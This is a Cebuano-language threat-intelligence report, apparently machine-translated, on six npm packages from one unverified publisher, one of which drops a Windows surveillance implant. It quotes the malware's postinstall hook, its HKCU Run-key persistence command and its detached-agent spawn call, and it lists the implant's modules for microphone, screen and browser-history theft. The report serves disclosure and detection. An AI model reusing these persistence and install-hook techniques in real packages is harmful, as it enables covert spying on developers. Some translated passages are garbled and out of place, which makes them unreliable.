TL; DR
Tali sa Abril 1 ug Mayo 3, 2026, usa ka npm publisher, user0001, narehistro gamit ang wala mapamatud-i nga Gmail address tanvisoul9@gmail.com, hilom nga nagduso og unom ka pakete nga adunay tinuyo nga walay lami, morag imprastraktura nga mga ngalan: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, Ug node-env-resolve.
Ang pinakabag-o nga duha ka bersyon sa node-env-resolve, 1.0.7 ug 1.0.8, gi-flag sa Xygeni's Malware Early Warning (MEW) system niadtong Mayo 2 ug gikumpirma nga malisyoso niadtong Mayo 3.
Ang implant talagsaon alang sa kung unsa kini dili: walay mga Telegram bot, walay mga OAST callback, wala obfuscation, ug walay pagsulay sa pagkuha sa mga kredensyal sa AWS sa oras sa pag-install. Hinuon, postinstall.js magtanom og Windows boot-persistence entry, gamit ang HKCU Run key nga maglunsad wscript.exe batok sa usa ka VBS stub. Dayon kini mopagawas ug usa ka detached Node.js agent nga mag-bundle sa mga module para sa microphone capture, browser-history theft, screenshotting, ug mouse/keyboard simulation.
Gitawag nato kini nga cluster DevTap, human sa kit, kini mopadagan sa makina sa developer.
Ang tanang unom ka pakete anaa pa sa npm sa panahon sa pagsulat niini. Among gisumite na kini sa abuse channel sa registry. Kinahanglan nga kuhaon sa mga defender ang bisan unsang mga install gikan sa publisher samtang naghulat nga matangtang.
Ang Cluster: Unom ka Pakete, Usa ka Tigmantala
Ang account sa tigmantala user0001 wala mapamatud-i. Wala kini SCM beripikasyon, walay email nga naka-bound sa domain, ug walay naunang history. Ang Gmail handle tanvisoul9 wala makita sa bisan unsang ubang rekord sa npm publisher nga among nakit-an.
Ang tanang unom ka pakete naglista sa samang maintainer, gipatik gikan sa samang account, ug parehas og gamit. package.json boilerplate. Walay repository, dili homepage, ug dili description mas taas kay sa usa ka linya.
Ang estratehiya sa pagngalan mao ang makapainteres nga bahin. Dili sama sa usa ka klasiko nga dependency-confusion o typosquat campaign, wala niini nga mga ngalan ang nagtumong sa usa ka piho nga upstream library. Hinuon, kini gi-calibrate aron mawala ngadto sa usa ka tinuod nga package.json or npm ls output.
| package | Unang Gipatik | Pinakabag-nga Bersyon | Mga bersikulo | Papel sa Cluster |
|---|---|---|---|---|
| centrallogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, gikan sa 1.0.5 ngadto sa 1.0.9 | Hapin sa “logging utility” sa Cluster; pinakaunang gimantala |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Heneral nga tabon sa DOM-helper |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Gisundog ang pamilya sa node-fetch |
| ahente sa konektor | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generic nga ngalan nga "ahente" |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Gisundog ang himan sa pagtukod sa lumad nga module |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, gikan sa 1.0.0 ngadto sa 1.0.9 | Aktibong dropper; kompletong implant |
Mga ngalan sama sa centralogger, node-fetch-lite, Ug node-gyp-runtime gidisenyo aron tan-awon nga dili kontrobersyal sa pagrepaso sa code. Murag mga butang nga naa na sa dependency tree sa usa ka proyekto.
Inubanan sa usa ka presko, wala mapamatud-i nga tigmantala ug nawala nga mga link sa repository, nagporma sila og mailhan nga sumbanan: usa ka aktor nga nagsabwag og mga ngalan nga low-friction ngadto sa registry, dayon dali nga nag-iterate sa usa nga importante. Niini nga kaso, node-env-resolve nakadawat og napulo ka bersyon sulod sa walo ka adlaw.
Unsay Makita sa Windows Dev Box
Ang malisyoso nga kadena sa node-env-resolve:1.0.8 mubo, direkta, ug talagsaon nga daghan og features para sa usa ka npm RAT.
Postinstall: Paglahutay ug Detached Agent
package.json nagdeklarar og usa ka install hook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js nagabuhat ug tulo ka butang nga sunod-sunod.
Una, kini mag-stage og installation directory sa gawas sa npm tree. Ang path gikompyut atol sa runtime sa script isip INSTALL_DIR. Dayon kini modagan og internal execSync('npm install --production --silent ...') sulod niini aron makuha ang mga runtime dependencies sa implant. Gibutang niini ang ahente sa disk sa usa ka manwal node_modules dili makit-an sa audit.
Ikaduha, kini magsulat og VBS launcher ug magrehistro niini para sa boot persistence:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe mao ang Windows Script Host, usa ka gipirmahan nga Microsoft binary nga nagpadagan .vbs mga file nga walay console window. Kana precisnganong kini paborito alang sa mga autorun stubs.
Adunay usab usa ka panagsama reg delete agianan sa sulod src/index.js, nga nagsugyot nga ang implant gidisenyo nga limpyo nga matangtang kon sugoon sa operator.
Ikatulo, kini nagpatunghag usa ka detached child process:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Duha ka detalye ang importante dinhi.
SERVER_URL gibasa gikan sa palibot. Tungod niini, ang C2 endpoint ma-configure matag deployment ug dili ilakip sa package. Kanang gamay apan tinuyo nga pagpili makapildi sa kadaghanan sa mga static-IOC sweep.
Usab, ang natawo nga anak makapanunod sa tibuok nga palibot sa ginikanan. Busa, bisan unsa NPM_TOKEN, AWS_*, GITHUB_TOKEN, o SSH-agent socket nga anaa sa developer shell sa panahon sa install time travels ngadto sa long-lived agent's memory.
Unsay Gipadala sa Ahente
Ang giputos src/ Ang tree naglakip sa tulo ka modules kansang mga ngalan lamang ang nagsaysay sa istorya: audioCapture.js, browserHistory.js, Ug systemInfo.js.
Ang listahan sa runtime dependency, nga nasulbad atol sa staged npm install, nagpamatuod niini.
Kini nga pamaagi naghimo sa usa ka magubot nga insidente nga usa ka kontrolado nga tubag.
Imbis nga mo-react nga walay pagtagad, ang mga team molihok uban ang klaro nga prayoridad ug dali nga pag-ayo.
| pagsalig | Unsa ang Gamit Niini nga Konteksto |
|---|---|
| screenshot-desktop | Panagsa nga pagkuha sa screen |
| @nut-tree-fork/nut-js | Awtomasyon sa mouse ug keyboard / simulasyon sa input |
| mas maayo-sqlite3 | Direktang pagbasa sa mga database sa SQLite sa Chrome, Edge, ug Firefox History |
| adm-zip | Paghiusa sa mga nakolektang artifact sa dili pa ang exfiltration |
| Mahait | Pag-usab sa gidak-on / pag-compress sa mga screenshot ug mga artifact sa imahe |
| socket.io-kliyente | Padayon nga bidirectional nga C2 channel |
| node-machine-id | Lig-on nga fingerprint kada host para sa pagsubay sa biktima |
systemInfo.js Nagtawag os.networkInterfaces() para sa dugang nga fingerprinting sa dili pa ang unang beacon.
Ngano nga ang Audio Capture Mao ang Talagsaong Signal
Kadaghanan sa mga npm RAT nga among gi-triage sa MEW mohunong sa install-time secret theft. Nabasa nila ~/.npmrc, pagbasa ~/.aws/credentials, pagkalot process.env, POST ngadto sa usa ka webhook, ug exit. Kana mohaom sa usa ka smash-and-grab economic model. Ang mga kredensyal adunay mubo nga half-life, ug ang tig-atake kinahanglan nga makakwarta dayon.
node-env-resolve lahi ra ang porma.
Ang persistence gi-set up aron mabuhi sa pag-reboot. Ang agent modagan nga detached ug molungtad og dugay ubos sa wscript.exeAng kit nga dala niini para magamit sa makina sa usa ka developer, dili para kuhaon ug biyaan: usa ka microphone recorder, usa ka keyboard/mouse driver, kompletong browser-history ingest, screen capture, ug usa ka interactive Socket.IO channel balik sa usa ka ma-configure nga C2.
Ang partikular nga microphone capture mao ang linya nga wala gilapas niini nga kampanya nga wala sa kadaghanan sa npm malware.
Ang workstation sa developer, samot na nga nagkadako, mao usab ang workstation diin ang mga developer mohimo og mga stand-up, motawag sa kustomer, modiskusyon sa disenyo, ug mo-on-call bridge. Ang implant nga mo-record sa mikropono dili gyud nagsunod sa npm token sa developer. Kini nagsunod sa gisulti sa developer atubangan sa laptop.
Kana nga kapabilidad, dugang sa kakulang sa obfuscation ug ang pagkawala sa bisan unsang magarbo nga install-time exfiltration, mabasa isip pre-positioning alang sa targeted access imbes nga oportunistikong pagpangawat sa kredensyal.
Dili lang kini ang among gipasabot nga attribution. Among gipunting ang operational profile.

Ang walo ka adlaw nga iteration cadence sa node-env-resolve mao ang labing detalyado nga operasyonal nga detalye sa timeline.
Dili kini usa ka "fire-and-forget drop". Aktibo nga gimentinar sa publisher ang dropper, nga kasagaran nagpasabot og duha ka butang. Mahimo nila kining i-tune batok sa mga test environment sa dili pa ang mas lapad nga deployment, o aduna na silay install telemetry nga mobalik ug motubag niini.
Ang laing lima ka pakete walay nakitang churn human sa ilang inisyal nga pagmantala. Kini mohaom sa sumbanan nga "stage once, leave named" para sa supporting cluster samtang ang paningkamot sa engineering nagpunting sa pakete nga naghimo sa trabaho.
Atribusyon: Gagmay nga mga Timaan, Walay Lig-on nga Hukom
Public OSINT nipis ang mga signal, ug dili nato kini palapdan. Unsay maobserbahan:
Ang Gmail handle tanvisoul9 medyo susama sa gihatag nga ngalan sa Habagatang Asya, ang "Tanvi." Kini usa ka luya nga signal. Ang mga handle sa Gmail dili identidad, ug ang nagsunod soul9 kay generic. Dili luwas ang pag-ingon nga ang geograpiya gikan lang sa usa ka email local-part.
Ang estilo sa code dili talagsaon sa Node.js: standard mga tawag sa librarya sama sa os, child_process, spawn, Ug reg addWalay obfuscation, walay string rotation, ug walay anti-debug logic. Komportable ang tagsulat sa mga Windows registry primitives ug detached-child-process orchestration, apan daw wala mangita og mas tago nga tradecraft nga posible nilang gamiton.
Ang mga dependency hingpit nga wala na sa estante ug nailhan na: screenshot-desktop, nut-js, better-sqlite3, Ug socket.io-clientWalay custom protocol, walay rolled-from-scratch nga C2 stack, ug walay bag-ong persistence trick gawas sa usa ka libro. Yawe sa Pagdagan sa HKCU. Usa kini ka takos nga integrator, dili usa ka tagsulat sa himan.
Wala kami nakakita og mga string, naka-embed nga mga komento, locale data, o mga fingerprint sa timezone sa compiler-output sulod sa mga gipatik nga artifact.
Among gisusi kon adunay code nga nagsapaw sa mga naunang kampanya nga among gisubay na, lakip na Shai Hulud, Owlion, Buildkite, ug ang bag-o nga heibai / claude-code-best Pamilya sa clone nga Anthropic-CLI. Wala mi nakita: walay gipaambit nga mga pattern sa C2, walay gipaambit nga mga layout sa file, ug walay gipaambit nga mga idiom.
Ang dili namo isulti: nga kini usa ka aktor sa estado, usa ka nailhan nga grupo, o heyograpikanhong nalambigit sa bisan unsang piho nga nasud.
Ang operational profile nahiuyon sa usa ka gamay, kasarangan nga kahanas nga grupo nga naghimo sa pagpaniid sa developer-workstation. Lagmit kini gimaneho sa pinansyal pinaagi sa downstream nga paggamit sa access, apan posible usab nga reconnaissance-as-a-service alang sa usa ka lahi nga pumapalit.
Duha ka dili direktang punto ang nagsuporta sa maong teksto: ang paglikay sa mga mekaniko sa exfiltration nga makadani sa atensyon nga dali nga makasunog sa cluster, sama sa mga Telegram bot, oastify.com, o mga canarytokens, ug ang tinuyo nga walay lami nga mga ngalan sa pakete, nga mas pabor sa hilom nga mga long-tail install kaysa sa mubo nga taas nga volume nga pagsaka.
Mga Timailhan sa Kompromiso ug Pag-ila
| Mga Pakete ug Tigmantala | |
|---|---|
| Field | bili |
| tigmantala sa npm | User0001 |
| Email sa tigmantala | tanvisoul9@gmail.com, wala pa mapamatud-i |
| packages | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Nakumpirma nga malisyoso | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Mga Artifact sa Host | |
|---|---|
| Type | bili |
| Yawe sa pagkamapinadayonon | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Bili sa pagpadayon | Ngalan sa baryabol; datos sa porma nga wscript.exe " \\ .vbs" |
| I-install ang kaw-it | postinstall: node postinstall.js sa manifest sa pakete |
| Mga modyul sa implant | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Direktoryo sa pag-stage | Ang INSTALL_DIR nasulbad sa gawas sa node_modules sa proyekto; ang lokasyon gitakda sa postinstall.js sa oras sa pag-install |
| network | |
|---|---|
| Type | bili |
| Transportasyon sa C2 | socket.io-client, padayon nga bidirectional channel |
| C2 nga katapusan nga punto | Gihatag sa ahente pinaagi sa SERVER_URL environment variable; wala gi-hard-code ngadto sa mga gipatik nga artifact |
Mga Nota sa Pag-ila
Duha ka lagda ang makadakop niini nga pamilya nga dili kinahanglan ang C2 endpoint.
Una, i-flag ang mga post-install script nga naghimo og internal npm install ngadto sa usa ka agianan gawas sa kaugalingong direktoryo sa pakete. Bisan unsang lehitimong prebuild downloader, sama sa node-gyp mga rebuild o prebuilt-binary downloader, magsulat sulod sa package o ngadto sa platform-standard mga agianan sa cache nga adunay napamatud-an nga mga hash. Dili kini magsulat sa usa ka bag-ong gibuhat INSTALL_DIR sa ubang dapit sa disk.
Ikaduha, i-flag ang mga post-install script nga nag-isyu reg add HKCU\…\Run uban sa wscript.exe isip launcher. Kini dili gyud lehitimo gikan sa usa ka npm package. I-flag ug i-quarantine kini.
Ang ikatulong heuristic mapuslanon para sa pag-ila sa sunod nga sibling package sa dili pa kini kumpirmahon: usa ka bag-ong npm publisher nga walay SCM beripikasyon, usa ka email sa Gmail, dili repository natad, ug daghang mubo, generic, ug morag imprastraktura nga mga ngalan sa pakete nga gipatik sulod sa pipila ka adlaw ang usag usa, sa iyang kaugalingon, igo na aron mogarantiya sa manwal nga pagrepaso.
Gireport na sa npm registry. Among i-update kini nga post kung matangtang na ang publisher account.






